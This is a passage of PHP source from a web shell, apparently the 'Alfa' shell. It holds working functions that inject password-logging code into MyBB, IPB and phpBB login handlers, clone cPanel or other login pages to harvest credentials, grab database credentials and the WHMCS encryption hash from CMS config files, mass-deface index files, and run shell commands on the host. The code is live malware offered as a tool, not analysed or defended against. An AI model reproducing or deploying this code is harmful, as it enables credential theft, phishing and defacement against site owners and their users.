@file_get_contents($conf); if(!strstr($data_conf,'?>'))$code = '?>'.$code; $evil_conf = $data_conf."\n".$code; @file_put_contents($conf, $evil_conf); hijackOutput(0,$saveto); }else{ hijackOutput(1); } } function hijackMybb($path,$saveto){ $code = '$alfa_q = $db->query("SELECT `email` FROM ".TABLE_PREFIX."users WHERE `username` = \'".$user[\'username\']."\'");$alfa_fetch = $db->fetch_array($alfa_q);$alfa_file = "{saveto_path}";$fp = @fopen($alfa_file, "a+");@fwrite($fp, $user[\'username\']." : ". $user[\'password\']." ( ".$alfa_fetch[\'email\']." )\n");@fclose($fp);$f = @file($alfa_file);$new = array_unique($f);$fp = @fopen($alfa_file, "w");foreach($new as $values){@fwrite($fp, $values);}@fclose($fp);'; $find = '$loginhandler->complete_login();'; $code=str_replace('{saveto_path}',$saveto,$code); $login=$path."/member.php"; $evil_login = "\t".$code."\n\t".$find; if(@is_file($login) AND @is_writable($login)){ $data_login = @file_get_contents($login); if(strstr($data_login, $find)){ $login_replace = str_replace($find,$evil_login, $data_login); @file_put_contents($login, $login_replace); hijackOutput(0,$saveto); }else{ hijackOutput(1); } }else{ hijackOutput(1); } } function hijackIPB($path,$saveto){ $code = '$Alfa_q = $this->DB->buildAndFetch(array(\'select\' => \'email\', \'from\' => \'members\', \'where\' => \'name="\'.$username.\'" OR email="\'.$email.\'"\'));$Alfa_file = "{saveto_path}";$fp = @fopen($Alfa_file, "a+");@fwrite($fp, $_POST[\'ips_username\'].\' : \'.$_POST[\'ips_password\'].\' ( \'.$Alfa_q[\'email\'].\' )\'."\n");@fclose($fp);$f = @file($Alfa_file);$new = array_unique($f);$fp = @fopen($Alfa_file, "w");foreach($new as $values){@fputs($fp, $values);}@fclose($fp);'; $find = 'unset( $member[\'plainPassword\'] );'; $code=str_replace('{saveto_path}',$saveto,$code); $login=$path."/admin/sources/handlers/han_login.php"; $evil_login = "\t".$find."\n\t".$code; if(@is_file($login) AND @is_writable($login)){ $data_login = @file_get_contents($login); if(strstr($data_login, $find)){ $login_replace = str_replace($find,$evil_login, $data_login); @file_put_contents($login, $login_replace); hijackOutput(0,$saveto); }else{ hijackOutput(1); } }else{ hijackOutput(1); } } function hijackPHPBB($path,$saveto){ $code = '$Alfa_u = request_var(\'username\', \'\');$Alfa_p = request_var(\'password\', \'\');if($Alfa_u != \'\' AND $Alfa_p != \'\'){$Alfa_response = $auth->login($Alfa_u,$Alfa_p);if($Alfa_response[\'status\'] == LOGIN_SUCCESS){$Alfa_file ="{saveto_path}";$fp = @fopen($Alfa_file, "a+");@fwrite($fp, $Alfa_u." : ".$Alfa_p. " ( ".$Alfa_response[\'user_row\'][\'user_email\']." )\n");@fclose($fp);$f = @file($Alfa_file);$new = array_unique($f);$fp = @fopen($Alfa_file, "w");foreach($new as $values){@fputs($fp, $values);}@fclose($fp);}}'; $find = 'case \'login\':'; $code=str_replace('{saveto_path}',$saveto,$code); $login=$path."/ucp.php"; $evil_login = "\t".$find."\n\t".$code; if(@is_file($login) AND @is_writable($login)){ $data_login = @file_get_contents($login); if(strstr($data_login, $find)){ $login_replace = str_replace($find,$evil_login, $data_login); @file_put_contents($login, $login_replace); hijackOutput(0,$saveto); }else{ hijackOutput(1); } }else{ hijackOutput(1); } } function hijackOutput($c=0,$p=''){echo($c==0?"
    Success --> path: $p
    ":'
    Error in inject code !
    ');} function Alfa_StrSearcher($dir,$string,$ext,$e,$arr=array()){ if(@is_dir($dir)){ $files=@scandir($dir); foreach($files as $key => $value){ $path=@realpath($dir. DIRECTORY_SEPARATOR .$value); if(!@is_dir($path)){ if($ext!='*'){$f = basename($path);$f = explode('.',$f);$f = end($f);if($f!=$ext)continue;} if($e=='str'){ $content = @file_get_contents($path); if(strpos($content, $string) !== false){ echo str_replace('\\','/',$path) . "
    "; } }else{ if(strstr($value,$string)){ echo str_replace('\\','/',$path) . "
    "; } } $results[] = $path; }elseif($value != "." && $value != "..") { Alfa_StrSearcher($path,$string,$ext,$e,$results); $results[] = $path; }}}} function alfafakepage(){ alfahead(); AlfaNum(9,10); echo '

    | Host Manager Fake page |


    Panel:
    "); echo '
    Clone page:
    Fake page root:
    Inject to:
    Bind on:
    Log To:
    Count of Invalid login:

    '; $clone_page = $_POST['alfa1']; $fake_root = $_POST['alfa2']; $logto = $_POST['alfa4']; $panel = $_POST['alfa5']; $inject_to = $_POST['alfa6']; $bind_on = $_POST['alfa7']; $count = $_POST['alfa8']; if(!empty($clone_page) && !empty($fake_root) && !empty($logto) && !empty($inject_to) && !empty($bind_on) && $_POST['alfa3'] == '>>'){ echo __pre(); $target = $clone_page; $curl = new AlfaCURL(); $source_page = $curl->Send($target); if(!empty($source_page)){ $matched_form = ""; if($panel == "cpanel"){ if(preg_match('##', $source_page, $match)){ $matched_form = $match[0]; } }else{ if(preg_match('##', $source_page, $match)){ $matched_form = $match[0]; } } if(!empty($matched_form)){ $fake = ""; $pwd = str_replace($_SERVER["DOCUMENT_ROOT"], '', $fake_root); $uri = str_replace($_SERVER["DOCUMENT_ROOT"], '', $inject_to); if($panel == "cpanel"){ $port = "2083"; }else{ $target = str_replace(array("http://", "https://"), "", $target); $port = explode(":",$target); $port = $port[1]; } if(substr($uri, 0, 1) == "/"){ $uri = substr($uri, 1); } $uri = $_SERVER["HTTP_ORIGIN"] . '/' . str_replace("index.php", "", $uri) . '?:' . $port; $log_url = $_SERVER["HTTP_ORIGIN"] . $pwd . '/log.php'; if($panel == "cpanel"){ $form = '
    '; }else{ $form = ''; } $fake = str_replace($matched_form, $form, $source_page); if(@!is_dir($fake_root)){ @mkdir($fake_root, 0777, true); } $cookie_name = "alfa_fakepage_counter" . rand(9999,99999); $post_user = 'user'; $post_pass = 'pass'; $resp_code = 'if(empty($user)){http_response_code(400);echo json_encode(array("message" => "no_username"));}else{http_response_code(401);}'; if($panel != "cpanel"){ $post_user = 'username'; $post_pass = 'password'; $resp_code = '@header("Location: ".$_SERVER[\'HTTP_REFERER\']);'; } $cpanel_log = ''.$count.'){@header("Location: /");exit;}@setcookie("'.$cookie_name.'", ((int)$_COOKIE["'.$cookie_name.'"] + 1), $cook_time, "/");$fp = @fopen("'.$logto.'", "a+");@fwrite($fp, $user . " : " . $pass . "\n");fclose($fp);sleep(3);'.$resp_code.'exit;}?>'; @file_put_contents($fake_root.'/log.php', $cpanel_log); if($panel == "cpanel"){ $fake = preg_replace(array('##', '##', '# #'), array('', '', ''), $fake); } @file_put_contents($fake_root.'/index.php', $fake); $inject_code = ''; $bind_on_code = ''; @file_put_contents($inject_to, $inject_code . "\n" .@file_get_contents($inject_to)); @file_put_contents($bind_on, $bind_on_code . "\n" .@file_get_contents($bind_on)); echo "success...!"; }else{ echo "failed...!"; } }else{ echo("
    Cannot open the target...!
    "); } } echo '
    '; alfafooter(); } function alfaarchive_manager(){ alfahead(); $file = $_POST['alfa2']; if(!file_exists($file)){ $file = $GLOBALS['cwd']; } $rand_id = rand(9999, 999999); echo '

    | Archive Manager |

    '; echo '
    Archive file:

    '; if($_POST['alfa5']=='>>'){ //echo __pre(); echo '
    '; echo '
    '; __alfa_open_archive_file($file, $rand_id); echo '
    '; } echo '
    '; alfafooter(); } function __alfa_open_archive_file($arch, $base_id=0){ try{ $files = array(); $dirs = array(); $archive = new PharData($arch); foreach($archive as $file) { $file_modify = @date('Y-m-d H:i:s', @filemtime($file->getPathname())); if($file->isDir()) { $dirs[] = array("name" => $file->getFileName(), "path" => $file->getPathname(), "type" => "dir", "modify" => $file_modify); }else{ $file_size = @filesize($file->getPathname()); $files[] = array("name" => $file->getFileName(), "path" => $file->getPathname(), "type" => "file", "modify" => $file_modify, "size" => $file_size); } } function __alfa_open_archive_usort($a, $b){ return strcmp(strtolower($a['name']), strtolower($b['name']))*1; } usort($dirs, "__alfa_open_archive_usort"); usort($files, "__alfa_open_archive_usort"); $files = array_merge($dirs, $files); echo ''; $icon = ''; echo ''; foreach($files as $file){ $icon = ''; if($file["type"] == "dir"){ echo ''; }else{ echo ""; } } echo '
    NameSizeModifyActions
    '.$icon.'| .. |dir--
    '.$icon.'| '.$file["name"].' |dir'.$file["modify"].'-
    ".$icon."".$file["name"]."".alfaSize($file["size"])."".$file["modify"]."-
    '; }catch(Exception $e){ echo("0"); } } function alfaopen_archive_dir(){ $dir = $_POST["alfa1"]; $base_id = $_POST["alfa2"]; __alfa_open_archive_file($dir, $base_id); } function alfaconfig_grabber(){ alfahead(); echo '

    | Config Grabber |

    '; echo '
    Dir: Ext: [ * = all Ext ]

    '; $dir = $_POST['alfa2']; $ext = $_POST['alfa3']; if($_POST['alfa5']=='>>'){ echo __pre(); Alfa_ConfigGrabber($dir, $ext); } echo '
    '; alfafooter(); } function Alfa_ConfigGrabber($dir, $ext) { $pattern = "#define[ ]{0,}\([ ]{0,}(?:'|\")DB_HOST(?:'|\")[ ]{0,}|define[ ]{0,}\([ ]{0,}(?:'|\")DB_HOSTNAME(?:'|\")[ ]{0,}|config\[(?:'|\")MasterServer(?:'|\")\]\[(?:'|\")password(?:'|\")\]|(?:'|\")database(?:'|\")[ ]{0,}=>[ ]{0,}(?:'|\")(.*?)(?:'|\")|(?:'|\")(mysql|database)(?:'|\")[ ]{0,}=>[ ]{0,}array|db_name|db_user|db_pass|db_server|db_host|dbhost|dbname|dbuser|dbpass|database_name|database_user|database_pass|mysql_user|mysql_pass|mysqli_connect|mysql_connect|new[ ]{0,}mysqli#i"; $db_files = array("wp-config.php","configure.php","config.inc.php","configuration.php","config.php","conf.php","dbclass.php","class_core.php","dist-configure.php", "settings.php", "conf_global.php", "db.php", "connect.php", "confing.db.php", "config.db.php", "database.php"); if(@is_readable($dir)){ $globFiles = @glob("$dir/*.$ext"); $globDirs = @glob("$dir/*", GLOB_ONLYDIR); $blacklist = array(); foreach ($globDirs as $dir) { if(!@is_readable($dir)||@is_link($dir)) continue; @Alfa_ConfigGrabber($dir, $ext); } foreach ($globFiles as $file){ $filee = @file_get_contents($file); if(preg_match($pattern, $filee)){ echo ""; } } } } function alfasearcher(){ alfahead(); echo '

    | Searcher |

    | Find Readable Or Writable Files | | Find Files By Name |

    '; if(isset($_POST['alfa1'])&&$_POST['alfa1']=='file'){ echo '
    | Find Readable Or Writable Files |


    Method: Dir: Ext: [ * = all Ext ]

    '; $dir = $_POST['alfa2']; $ext = $_POST['alfa3']; $method = $_POST['alfa4']; if($_POST['alfa5']=='>>'){ echo __pre(); if(substr($dir,-1)=='/')$dir=substr($dir,0,-1); Alfa_Searcher($dir,trim($ext),$method); } } if($_POST['alfa1']=='str'){ echo '
    | Find Files By Name / Find String In Files |


    Method: String: Dir: Ext: [ * = all Ext ]

    '; $dir = $_POST['alfa2']; $string = $_POST['alfa3']; $ext = $_POST['alfa5']; if(!empty($string) AND !empty($dir) AND $_POST['alfa4'] == '>>'){ echo __pre(); Alfa_StrSearcher($dir,$string,$ext,$_POST['alfa6']); } } echo '
    '; alfafooter(); } function alfaMassDefacer(){ alfahead(); AlfaNum(5,6,7,8,9,10); echo "

    | Mass Defacer |

    >');return false;\" method='post'>"; echo '
    Deface Method: Mass dir: DefPage:

    '; $dir = $_POST['alfa1']; $defpage = $_POST['alfa2']; $method = $_POST['alfa3']; $fCurrent = $GLOBALS['__file_path']; if($_POST['alfa4'] == '>>'){ if(!empty($dir)){ if(@is_dir($dir)){ if(@is_readable($dir)){ if(@is_file($defpage)){ if($dh = @opendir($dir)){ echo __pre(); while (($file = @readdir($dh)) !== false){ if($file == '..' || $file == '.')continue; $newfile=$dir.$file; if($fCurrent == $newfile)continue; if(@is_dir($newfile)){ Alfa_ReadDir($newfile,$method,$defpage); }else{ if(!@is_writable($newfile))continue; if(!@is_readable($newfile))continue; Alfa_Rewriter($newfile,$file,$defpage,$method); } } closedir($dh); }else{__alert('Error In OpenDir...');} }else{__alert('DefPage File NotFound...');} }else{__alert('Directory is not Readable...');} }else{__alert('Mass Dir is Invalid Dir...');} }else{__alert('Dir is Empty...');} } echo '
    '; alfafooter(); } function Alfa_ReadDir($dir,$method='',$defpage=''){ if(!@is_readable($dir)) return false; if (@is_dir($dir)) { if ($dh = @opendir($dir)) { while(($file=readdir($dh))!==false) { if($file == '..' || $file == '.')continue; $newfile=$dir.'/'.$file; if(@is_readable($newfile)&&@is_dir($newfile))Alfa_ReadDir($newfile,$method,$defpage); if(@is_file($newfile)){ if(!@is_readable($newfile))continue; Alfa_Rewriter($newfile,$file,$defpage,$method); } } closedir($dh); } } } function Alfa_Rewriter($dir,$file,$defpage,$m='index'){ if(!@is_writable($dir)) return false; if(!@is_readable($dir)) return false; $defpage=@file_get_contents($defpage); if($m == 'index'){ $indexs = array('index.php','index.htm','index.html','default.asp','default.aspx','index.asp','index.aspx','index.js'); if(in_array(strtolower($file),$indexs)){ @file_put_contents($dir,$defpage); echo @is_file($dir)?$dir."DeFaced...
    " : ''; } }elseif($m=='all'){ @file_put_contents($dir,$defpage); echo @is_file($dir)?$dir." DeFaced...
    " : ''; } } function alfaGetDisFunc(){ alfahead(); echo '
    '; $disfun = @ini_get('disable_functions'); $s = explode(',',$disfun); $f = array_unique($s); echo '

    Disable Functions
    ';
    $i=1;
    foreach($f as $s){
    $s=trim($s);
    if(function_exists($s)||!is_callable($s))continue;
    echo '';
    echo '';
    $i++;
    }
    echo '
    #Func Name
    '.$i.''.$s.'
    '; echo '
    '; alfafooter(); } function Alfa_Create_A_Tag($action,$vals){ $nulls = array(); foreach($vals as $key => $val){ echo '| '.$key.' | '; unset($nulls); } } function Alfa_Searcher($dir, $ext, $method) { if(@is_readable($dir)){ if($method == 'all')$ext = '*'; if($method == 'dirs')$ext = '*'; $globFiles = @glob("$dir/*.$ext"); $globDirs = @glob("$dir/*", GLOB_ONLYDIR); $blacklist = array(); foreach ($globDirs as $dir) { if(!@is_readable($dir)||@is_link($dir)) continue; @Alfa_Searcher($dir, $ext, $method); } switch($method){ case "files": foreach ($globFiles as $file){ if(@is_writable($file)){ echo "$file
    "; } } break; case "dirs": foreach ($globFiles as $file){ if(@is_writable(dirname($file)) && !in_array(dirname($file), $blacklist)){ echo dirname($file).'
    '; $blacklist[] = dirname($file); } } break; case "all": foreach ($globFiles as $file){ echo $file.'
    '; } break; } unset($blacklist); } } function AlfaiFrameCreator($f,$width='100%',$height='600px'){ return(''); } class AlfaCURL { public $headers; public $user_agent; public $compression; public $cookie_file; public $proxy; public $path; public $ssl = true; public $curl_status = true; function __construct($cookies=false,$compression='gzip',$proxy=''){ if(!extension_loaded('curl')){$curl_status = false;return false;} $this->headers[] = 'Accept: image/gif, image/x-bitmap, image/jpeg, image/pjpeg'; $this->headers[] = 'Connection: Keep-Alive'; $this->headers[] = 'Content-type: application/x-www-form-urlencoded;charset=UTF-8'; $this->user_agent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36)'; $this->path = ALFA_TEMPDIR.'/Alfa_cookies.txt'; $this->compression=$compression; $this->proxy=$proxy; $this->cookies=$cookies; if($this->cookies)$this->cookie($this->path); } function cookie($cookie_file) { if (_alfa_file_exists($cookie_file,false)) { $this->cookie_file=$cookie_file; }else{ @fopen($cookie_file,'w') or die($this->error('The cookie file could not be opened.')); $this->cookie_file=$cookie_file; @fclose($this->cookie_file); } } function Send($url,$method="get",$data=""){ if(!$this->curl_status){return false;} $process = curl_init($url); curl_setopt($process, CURLOPT_HTTPHEADER, $this->headers); curl_setopt($process, CURLOPT_HEADER, 0); curl_setopt($process, CURLOPT_USERAGENT, $this->user_agent); curl_setopt($process, CURLOPT_RETURNTRANSFER, 1); curl_setopt($process, CURLOPT_ENCODING , $this->compression); curl_setopt($process, CURLOPT_TIMEOUT, 30); if($this->ssl){ curl_setopt($process, CURLOPT_SSL_VERIFYPEER ,false); curl_setopt($process, CURLOPT_SSL_VERIFYHOST,false); } if($this->cookies){ curl_setopt($process, CURLOPT_COOKIEFILE, $this->path); curl_setopt($process, CURLOPT_COOKIEJAR, $this->path); } if($this->proxy){ curl_setopt($process, CURLOPT_PROXY, $this->proxy); } if($method=='post'){ curl_setopt($process, CURLOPT_POSTFIELDS, $data); curl_setopt($process, CURLOPT_POST, 1); curl_setopt($process, CURLOPT_HTTPHEADER, array('Content-Type: application/x-www-form-urlencoded')); } $return = @curl_exec($process); curl_close($process); return $return; } function error($error) { echo "
    cURL Error
    $error
    "; die; } } function getConfigHtml($cms){ $content = ''; $cms_array = array("wp" => "WordPress", "vb" => "vBulletin", "whmcs" => "Whmcs", "joomla" => "Joomla", "phpnuke" => "PHPNuke","phpbb"=>"PHPBB","mybb"=>"MyBB","drupal"=>"Drupal","smf"=>"SMF"); $content .= "
    Cms:
    Path(installed cms/Config):
    "; $content .= "
    "; return $content; } if (!function_exists('json_encode')){ function json_encode($a=false){ if (is_null($a)) return 'null'; if ($a === false) return 'false'; if ($a === true) return 'true'; if (is_scalar($a)) { if (is_float($a)) { return floatval(str_replace(",", ".", strval($a))); } if (is_string($a)) { static $jsonReplaces = array(array("\\", "/", "\n", "\t", "\r", "\b", "\f", '"'), array('\\\\', '\\/', '\\n', '\\t', '\\r', '\\b', '\\f', '\"')); return '"' . str_replace($jsonReplaces[0], $jsonReplaces[1], $a) . '"'; } else return $a; } $isList = true; for ($i = 0, reset($a); $i < count($a); $i++, next($a)) { if (key($a) !== $i) { $isList = false; break; } } $result = array(); if ($isList) { foreach ($a as $v) $result[] = json_encode($v); return '[' . join(',', $result) . ']'; } else { foreach ($a as $k => $v) $result[] = json_encode($k).':'.json_encode($v); return '{' . join(',', $result) . '}'; } } } if ( !function_exists('json_decode') ){ function json_decode($json, $array=true){ $comment = false; $out = '$x='; for ($i=0; $i convertBash($out), "path" => $current_path)); } function convertBash($code) { $dictionary = array( '[01;30m' => '', '[01;31m' => '', '[01;32m' => '', '[01;33m' => '', '[01;34m' => '', '[01;35m' => '', '[01;36m' => '', '[01;37m' => '', '[0m' => '' ); $htmlString = str_replace(array_keys($dictionary), $dictionary, $code); return $htmlString; } function alfadoActions(){ $chdir_fals = false; if(!@chdir($_POST['c'])){ $chdir_fals = true; $alfa_canruncmd = _alfa_can_runCommand(true,true); } if(isset($_POST['alfa1']))$_POST['alfa1'] = rawurldecode($_POST['alfa1']); if(isset($_POST['alfa2']))$_POST['alfa2'] = rawurldecode($_POST['alfa2']); $action = $_POST["alfa3"]; if($action == "permission"){ $perms = 0; $perm = $_POST["alfa2"]; for($i=strlen($perm)-1;$i>=0;--$i){ $perms += (int)$perm[$i]*pow(8, (strlen($perm)-$i-1)); } if(@chmod($_POST['alfa1'], $perms)){ echo("done"); }else{ echo("no"); } return; } if($action == "rename" || $action == "move"){ $alfa1_decoded = $_POST['alfa1']; if($chdir_fals){ $_POST['alfa1'] = $_POST["c"]."/".$_POST["alfa1"]; } $_POST['alfa1'] = trim($_POST['alfa1']); $alfa1_escape = addslashes($_POST["alfa1"]); if($_POST["alfa3"] == "rename"){ $_POST['alfa2'] = basename($_POST['alfa2']); } if(!empty($_POST['alfa2'])){ $cmd_rename = false; if($chdir_fals&&$alfa_canruncmd){ if(_alfa_is_writable($_POST['alfa1'])){ $cmd_rename = true; $alfa1_escape = addslashes($alfa1_decoded); alfaEx("cd '".addslashes($_POST['c'])."';mv '".$alfa1_escape."' '".addslashes($_POST['alfa2'])."'"); } } if(!file_exists($_POST['alfa2'])){ if(@rename($_POST['alfa1'], $_POST['alfa2'])||$cmd_rename){ echo "done"; }else{ echo "no"; } }else{ echo "no"; } } }elseif($action == "copy"){ if(is_dir($_POST["alfa1"])){ $dir = str_replace('//', '/', $_POST["alfa1"]); $dir = explode('/', $dir); if(empty($dir[count($dir) - 1])){ $name = $dir[count($dir) - 2]; }else{ $name = $dir[count($dir) - 1]; } }else{ $name = basename($_POST["alfa1"]); } $dir = dirname($_POST["alfa1"]); if($dir == "."){ $dir = $_POST["c"]."/"; } if(is_file($_POST["alfa1"])){ @copy($_POST["alfa1"], $_POST["alfa2"]); echo("done"); }elseif(is_dir($_POST["alfa1"])){ if(!is_dir($_POST["alfa2"])){ mkdir($_POST["alfa2"], 0755, true); } copy_paste($dir, $name , $_POST["alfa2"] . "/"); echo("done"); } }elseif($action == "modify"){ if( !empty($_POST['alfa1']) ) { $time = strtotime($_POST['alfa1']); if($time){ $touched = false; if($chdir_fals&&$alfa_canruncmd){ alfaEx("cd '".addslashes($_POST["c"])."';touch -d '".htmlspecialchars(addslashes($_POST['alfa1']))."' '".addslashes($_POST['alfa2'])."'"); $touched = true; } if(!@touch($_POST['alfa2'],$time,$time)&&!$touched){ echo 'no'; }else{ echo 'ok'; } } else{ echo 'badtime'; } } } } function alfaget_flags(){ $flags = array(); if(function_exists("curl_version")){ $curl = new AlfaCURL(); $server_addr = (!@$_SERVER["SERVER_ADDR"]?(function_exists("gethostbyname")?@gethostbyname($_SERVER['SERVER_NAME']):'????'):@$_SERVER["SERVER_ADDR"]); $flag = $curl->Send("http://www.geoplugin.net/json.gp?ip=" . $server_addr); $flag2 = $curl->Send("http://www.geoplugin.net/json.gp?ip=" . $_SERVER["REMOTE_ADDR"]); if(strpos($flag2, "geoplugin") != false){ $flag = json_decode($flag, true); $flag2 = json_decode($flag2, true); if(!empty($flag['geoplugin_countryCode'])){ $flags["server"]["name"] = $flag['geoplugin_countryName']; $flags["server"]["code"] = $flag['geoplugin_countryCode']; } if(!empty($flag2['geoplugin_countryCode'])){ $flags["client"]["name"] = $flag2['geoplugin_countryName']; $flags["client"]["code"] = $flag2['geoplugin_countryCode']; } } } echo json_encode($flags); } function alfaGetConfig(){ $cms = $_POST['alfa1']; $path = trim($_POST['alfa2']); $config = array( 'wp'=>array('file'=>'/wp-config.php', 'host'=>array("/define[ ]{0,}\([ ]{0,}(?:'|\")DB_HOST(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\)[ ]{0,};/",1), 'dbname'=>array("/define[ ]{0,}\([ ]{0,}(?:'|\")DB_NAME(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\)[ ]{0,};/",1), 'dbuser'=>array("/define[ ]{0,}\([ ]{0,}(?:'|\")DB_USER(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\)[ ]{0,};/",1), 'dbpw'=>array("/define[ ]{0,}\([ ]{0,}(?:'|\")DB_PASSWORD(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\)[ ]{0,};/",1), 'prefix'=>array("/table_prefix[ ]{0,}=[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,};/",1) ), 'drupal'=>array('file'=>'/config.php', 'host'=>array("/define[ ]{0,}\([ ]{0,}(?:'|\")DB_HOSTNAME(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\)[ ]{0,};/",1), 'dbname'=>array("/define[ ]{0,}\([ ]{0,}(?:'|\")DB_DATABASE(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\)[ ]{0,};/",1), 'dbuser'=>array("/define[ ]{0,}\([ ]{0,}(?:'|\")DB_USERNAME(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\)[ ]{0,};/",1), 'dbpw'=>array("/define[ ]{0,}\([ ]{0,}(?:'|\")DB_PASSWORD(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\)[ ]{0,};/",1), 'prefix'=>array("/define[ ]{0,}\([ ]{0,}(?:'|\")DB_PREFIX(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\)[ ]{0,};/",1) ), 'drupal2'=>array('file'=>'/sites/default/settings.php', 'host'=>array("/(?:'|\")host(?:'|\")[ ]{0,}=>[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,},/",1), 'dbname'=>array("/(?:'|\")database(?:'|\")[ ]{0,}=>[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,},/",1), 'dbuser'=>array("/(?:'|\")username(?:'|\")[ ]{0,}=>[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,},/",1), 'dbpw'=>array("/(?:'|\")password(?:'|\")[ ]{0,}=>[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,},/",1), 'prefix'=>array("/(?:'|\")prefix(?:'|\")[ ]{0,}=>[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,},/",1) ), 'vb'=>array('file'=>'/includes/config.php', 'host'=>array("/config\[(?:'|\")MasterServer(?:'|\")\]\[(?:'|\")servername(?:'|\")\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\")[ ]{0,};/",3), 'dbuser'=>array("/config\[(?:'|\")MasterServer(?:'|\")\]\[(?:'|\")username(?:'|\")\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\")[ ]{0,};/",3), 'dbname'=>array("/config\[(?:'|\")Database(?:'|\")\]\[(?:'|\")dbname(?:'|\")\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\")[ ]{0,};/",3), 'dbpw'=>array("/config\[(?:'|\")MasterServer(?:'|\")\]\[(?:'|\")password(?:'|\")\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\")[ ]{0,};/",3), 'prefix'=>array("/config\[(?:'|\")Database(?:'|\")\]\[(?:'|\")tableprefix(?:'|\")\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\")[ ]{0,};/",3) ), 'phpnuke'=>array('file'=>'/config.php', 'host'=>array('/dbhost(\s+)=(\s+)(?:\'|")(.*?)(?:\'|");/',3), 'dbname'=>array('/dbname(\s+)=(\s+)(?:\'|")(.*?)(?:\'|");/',3), 'dbuser'=>array('/dbuname(\s+)=(\s+)(?:\'|")(.*?)(?:\'|");/',3), 'dbpw'=>array('/dbpass(\s+)=(\s+)(?:\'|")(.*?)(?:\'|");/',3), 'prefix'=>array('/prefix(\s+)=(\s+)(?:\'|")(.*?)(?:\'|");/',3) ), 'smf'=>array('file'=>'/Settings.php', 'host'=>array("/db_server(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3), 'dbname'=>array("/db_name(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3), 'dbuser'=>array("/db_user(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3), 'dbpw'=>array("/db_passwd(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3), 'prefix'=>array("/db_prefix(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3) ), 'whmcs'=>array('file'=>'/configuration.php', 'host'=>array("/db_host(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3), 'dbname'=>array("/db_name(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3), 'dbuser'=>array("/db_username(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3), 'dbpw'=>array("/db_password(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3), 'cc_encryption_hash'=>array("/cc_encryption_hash(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3) ), 'joomla'=>array('file'=>'/configuration.php', 'host'=>array("/\\\$host(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3), 'dbname'=>array("/\\\$db(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3), 'dbuser'=>array("/\\\$user(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3), 'dbpw'=>array("/\\\$password(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3), 'prefix'=>array("/\\\$dbprefix(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3) ), 'phpbb'=>array('file'=>'/config.php', 'host'=>array("/dbhost(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3), 'dbname'=>array("/dbname(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3), 'dbuser'=>array("/dbuser(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3), 'dbpw'=>array("/dbpasswd(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3), 'prefix'=>array("/table_prefix(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3) ), 'mybb'=>array('file'=>'/inc/config.php', 'host'=>array("/config\['database'\]\['hostname'\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3), 'dbname'=>array("/config\['database'\]\['database'\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3), 'dbuser'=>array("/config\['database'\]\['username'\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3), 'dbpw'=>array("/config\['database'\]\['password'\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3), 'prefix'=>array("/config\['database'\]\['table_prefix'\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3) ) ); if($cms == "drupal"){ $file = $config[$cms]['file']; $file=$path.$file; if(@is_file($file)||_alfa_is_dir($file,"-e")){ }else{ $cms = 'drupal2'; } } if($cms == "vb"){ $file = $config[$cms]['file']; $file=$path.$file; if(@is_file($file)||_alfa_is_dir($file,"-e")){ }else{ $path .= '/core'; } } $data = array(); $srch_host = $config[$cms]['host'][0]; $srch_user = $config[$cms]['dbuser'][0]; $srch_name = $config[$cms]['dbname'][0]; $srch_pw = $config[$cms]['dbpw'][0]; $prefix = $config[$cms]['prefix'][0]; $file = $config[$cms]['file']; $chost = $config[$cms]['host'][1]; $cuser = $config[$cms]['dbuser'][1]; $cname = $config[$cms]['dbname'][1]; $cpw = $config[$cms]['dbpw'][1]; $cprefix = $config[$cms]['prefix'][1]; 